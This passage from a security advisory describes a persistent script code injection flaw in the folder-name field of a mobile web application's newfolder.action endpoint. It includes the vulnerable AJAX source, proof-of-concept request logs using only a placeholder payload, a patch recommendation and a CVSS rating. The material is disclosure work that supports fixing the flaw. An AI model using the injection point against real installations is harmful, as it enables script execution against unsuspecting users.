PoC: Vulnerable Source
}
function createFolder() {
$.ajax({
type: 'POST',
url: 'newfolder.action',
cache: false,
dataType: 'json',
data: {folderName:$('#foldername').attr('value'), isSubfolder:$('#is_subfolder_hidden').attr('value'), parentFolderID:$('#parent_folder_hidden').attr('value')},
async: false,
success: function(result) {
window.location.reload(false);
}
});
}
--- Poc Session Logs [POST] (Inject) ---
Status: 200[OK]
POST http://localhost:8080/newfolder.action
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[application/json, text/javascript, */*; q=0.01]
POST-Daten:
folderName[SCRIPT CODE INJECTION!]
isSubfolder[0]
parentFolderID[0]
Response Header:
Accept-Ranges[bytes]
Content-Length[23]
Date[Do., 05 März 2015 20:34:46 GMT]
-
Status: 200[OK]
GET http://localhost:8080/index.html
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Response Header:
Accept-Ranges[bytes]
Content-Length[9421]
Date[Do., 05 März 2015 20:34:46 GMT]
-
Status: 200[OK]
GET http://localhost:8080/javascript/linkus.js
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[*/*]
Response Header:
Accept-Ranges[bytes]
Content-Length[397]
Date[Do., 05 März 2015 20:34:46 GMT]
Reference(s):
http://localhost:8080/index.html
http://localhost:8080/newfolder.action
http://localhost:8080/index.html#?w=300
http://localhost:8080/browse_folder.html?folderID=5
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable folderName value.
Restrict the input and filter the context by usage of a own exception to prevent the application-side code execution.
Security Risk:
==============
The security risk of the script code execution vulnerability in the mobile web-application is estimated as high. (CVSS 6.9)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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